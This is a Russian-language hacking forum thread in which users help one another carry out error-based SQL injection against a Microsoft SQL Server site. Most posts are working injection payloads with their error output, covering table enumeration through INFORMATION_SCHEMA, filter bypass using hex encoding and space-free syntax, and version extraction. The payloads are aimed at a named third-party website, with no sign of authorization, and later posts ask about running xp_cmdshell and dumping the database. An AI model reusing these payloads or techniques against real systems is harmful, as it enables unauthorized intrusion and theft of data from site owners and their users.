![]() |
mssql inj help
При таком запросе
"1+or+1=(SELECT+1+TOP+TABLE_NAME+FROM+INFORMATION_ SCHEMA.TABLES)--" показывает Incorrect syntax near the keyword 'TOP' в чем моя ошибка? |
юзай
http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/ |
"1+or+1=(SELECT+1+max(TABLE_NAME)+FROM+INFORMATION _SCHEMA.TABLES)--"
|
можно проинжектить запрос вобще без использования пробелов:
or(1=(select(max(table_name))from[information_schema].tables)) [ cash ] ;) |
спасиб онотолий, помогло
|
снова я
1+or+1=((select((table_name))from[information_schema].tables+where+TABLE_NAME+NOT+IN+('syssegments')))-- выводит 'syssegments' делаю так 1+or+1=((select((table_name))from[information_schema].tables+where+TABLE_NAME+NOT+IN+('syssegments','sy ssegments')))-- выводит 'syssegmentssyssegments' в след запросе выводит уже 'syssegmentssyssegmentssyssegmentssyssegments' и т.д. |
TABLE_NAME+NOT+IN+('syssegments','sy ssegments','syssegmentssyssegments'...итд)))--
таким образом узнаёш все таблицы)) патом также только для столбцов и формеруеш запрос к бд)) |
я знаю что так надо
просто проблема в том что он просто делат так syssegments syssegmentssyssegments syssegmentssyssegmentssyssegmentssyssegments syssegmentssyssegmentssyssegmentssyssegmentssysseg mentssyssegments ... так не должно быть |
-=megahertz=-, покажи полностью, результат выполнения запроса
|
разграничь при помощи ';'
|
Используй в not+in 0x + hex кодирование.
|
вот запрос
id=1+or+1=((select((table_name))from[information_schema].tables+where+TABLE_NAME+NOT+IN+('syssegments','sy ssegmentssyssegments','syssegmentssyssegmentssysse gments')))-- ответ Warning: mssql_query() [function.mssql-query]: message: Invalid column name 'syssegmentssyssegmentssyssegmentssyssegmentssysse gmentssyssegments'. (severity 16) Warning: mssql_query() [function.mssql-query]: Query failed Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource |
1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+where+TABLE_NAME+NOT+IN+((SELECT+TOP+ 1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES))--
потом 1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+where+TABLE_NAME+NOT+IN+((SELECT+TOP+ 2+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES))-- потом 1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+where+TABLE_NAME+NOT+IN+((SELECT+TOP+ 3+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES))-- и т.д. |
message: Invalid column name имя калонки неверно...
'syssegmentssyssegmentssyssegmentssyssegmentssysse gmentssyssegments'-хм мож админы извращенцы так таблицы называть?? |
ReVOLVeR, фигню пишешь, просто при обработке запроса скриптом, из него удаляются кавычки и скорее всего запятые
|
попробовал то что мне скаща scipio
ответ Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near the keyword 'TOP'. (severity 15) Warning: mssql_query() [function.mssql-query]: Query failed Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource |
тогда делай:
(select(max(table_name))from[information_schema].tables+where+table_name<>0x7379737365676D656E7473 ) потом: (select(max(table_name))from[information_schema].tables+where+table_name<>0x7379737365676D656E7473 +and+table_name<>захексенный результат) и т.д. добавляй and`ы |
вобщем в hex выводит все время только
(0x7379737365676D656E7473)syssegments |
Цитата:
|
1+or+1=(select(max(table_name))from[information_schema].tables+where+table_name+0x7379737365676D656E7473+ and+table_name+0x7379737365676d656e7473+and+table_ name+0x7379737365676d656e7473+and+table_name+0x737 9737365676d656e7473)--
вместо <> поставил + так как выводил ерор Warning: mssql_query() [function.mssql-query]: message: Line 5: Incorrect syntax near '0x7379737365676d656e7473'. (severity 15) Warning: mssql_query() [function.mssql-query]: message: Line 5: Incorrect syntax near '0x7379737365676d656e7473'. (severity 15) Warning: mssql_query() [function.mssql-query]: Query failed Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource |
если не правильно не пинайте))
|
о боги, боги мои, яду мне, яду!!!
ты вот понимаешь для чего тут нужен знак неравенства <>? вобщем так тогда делай: 1+or+1=(select(max(table_name))from[information_schema].tables+where+table_name+not+in+(0x7379737365676D6 56E7473))-- |
message: Line 5: Incorrect syntax near '56E7473'. (severity 15)
Warning: mssql_query() [function.mssql-query]: message: The floating point value '56E7473' is out of the range of computer representation (8 bytes). (severity 15) Warning: mssql_query() [function.mssql-query]: message: Line 5: Incorrect syntax near '56E7473'. (severity 15) |
-=megahertz=-, ктулху?
пробел убери в 0x7379737365676D6 56E7473 |
вывод результата снова тот же что и в начале)
Warning: mssql_query() [function.mssql-query]: message: Syntax error converting the nvarchar value 'syssegments' to a column of data type int. (severity 16) Warning: mssql_query() [function.mssql-query]: Query failed |
А может все-таки линку в студию?:)
|
можно с кем нибудь лично по асе пообщаться?
|
можно если найдешь мою асю.
|
мож через ЛС поделишся своей асей?
|
вобщем вот вам линка... долго дрючил свой мозг так и не доходит
надеюсь на вашу помощь http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select(max(table_name))from[information_schema].tables+where+table_name+not+in+(0x7379737365676D6 56E7473))-- |
Код HTML:
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(select+top+1+table_name+from+information_schema.tables))--вот таблички которые я вытащил: Цитата:
|
Там просто стоят фильтры... Которые вырезают кавычки, запятые, знаки сравнения, слово SELECT в верхнем регистре... Ну в общем фильтры они и есть фильтры, правда в нашем случае они вполне обходимые:
Код:
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+OR+1=@@version--Вот имена таблиц которые удалось вытащить (это не все): Код:
henna |
гдето уже видел такой пример но ищо раз повторю
имена таблиц можно перебирать подзапросом меняя значение 2го топа: top 1, top 2 итд Код:
http://trot.telenet.ru/la2info/?part=npcs&id=-35332'+OR+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(select+top+2+table_name+from+information_schema.tables))--вот мы и обошлись без кавычек |
ААФигеть вы умные %)
-=megahertz=-, ну и как ВСЁ удалось ? 1)Я так понимаю, что в этой базе нет таблицы accounts.... 2)Выводить сразу большой список не выйдет? 3)А возможно сделать запрос к другой базе на этом же серве(например master)? Ну киньте плиз пример запроса для чтения полей и их значений в этих таблицах??? 4)возможно ли как-то выполнить такой запрос ?part=npcs&id=-35332+OR+1=(exec+master..xp_cmdshell+”ipconfig ) Что я не так делаю? 5)Может есть хотя бы ссылка где это обсуждалось подробно? 6)Можно ли вообще узнать список всех баз на этом сервере как-нибудь(master...northwind и т.д.)? ...плиз... |
1. >нет таблицы accounts
2. >не выйдет. -> перебирать top 1,2,3... 3. почему нет? Цитата:
5. http://forum.antichat.ru/showthread.php?t=30501 http://forum.antichat.ru/threadedpost747381.html http://forum.antichat.ru/thread46016.html + поиск по форуму 6. Цитата:
Цитата:
вроде так, (если я правильно понял твои вапросы)... p.s: не надо мне в пм спамить... ;) |
Мэни-мени сенкс...извини за ПМ.
|
Цитата:
|
А я не расскажу;))
Нашел ссылки на снятие дампа, но ни одна не работает...Есть рабочая??? И вопрос про exec не раскрыт...) ...через ; надо делать?...не получается что-то... |
всмысле сссылки про снятие дампа? ты нашел раскрученные инъкции но слить инфу не можешь или что?
|
Меня интересует Реализация скрипта для просмотра и дампинга баз, через mssql-inj
|
| Время: 14:51 |